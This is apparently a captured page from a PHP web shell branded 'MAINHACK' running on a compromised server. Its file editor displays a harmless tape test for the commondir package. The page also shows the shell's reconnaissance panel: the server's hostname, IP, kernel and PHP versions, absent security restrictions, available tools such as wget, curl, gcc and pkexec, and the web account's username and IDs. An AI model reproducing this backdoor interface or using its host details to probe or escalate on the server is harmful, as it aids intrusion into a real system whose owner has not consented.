[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: dirs.js
var test = require('tape'); var commondir = require('../'); test('common', function (t) { t.equal( commondir([ '/foo', '//foo/bar', '/foo//bar/baz' ]), '/foo' ); t.equal( commondir([ '/a/b/c', '/a/b', '/a/b/c/d/e' ]), '/a/b' ); t.equal( commondir([ '/x/y/z/w', '/xy/z', '/x/y/z' ]), '/' ); t.equal( commondir([ 'X:\\foo', 'X:\\\\foo\\bar', 'X://foo/bar/baz' ]), 'X:/foo' ); t.equal( commondir([ 'X:\\a\\b\\c', 'X:\\a\\b', 'X:\\a\\b\\c\\d\\e' ]), 'X:/a/b' ); t.equal( commondir([ 'X:\\x\\y\\z\\w', '\\\\xy\\z', '\\x\\y\\z' ]), '/' ); t.throws(function () { commondir([ '/x/y/z/w', 'qrs', '/x/y/z' ]); }); t.end(); }); test('base', function (t) { t.equal( commondir('/foo/bar', [ 'baz', './quux', '../bar/bazzy' ]), '/foo/bar' ); t.equal( commondir('/a/b', [ 'c', '../b/.', '../../a/b/e' ]), '/a/b' ); t.equal( commondir('/a/b/c', [ '..', '../d', '../../a/z/e' ]), '/a' ); t.equal( commondir('/foo/bar', [ 'baz', '.\\quux', '..\\bar\\bazzy' ]), '/foo/bar' ); // Tests including X:\ basedirs must wait until path.resolve supports // Windows-style paths, starting in Node.js v0.5.X t.end(); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002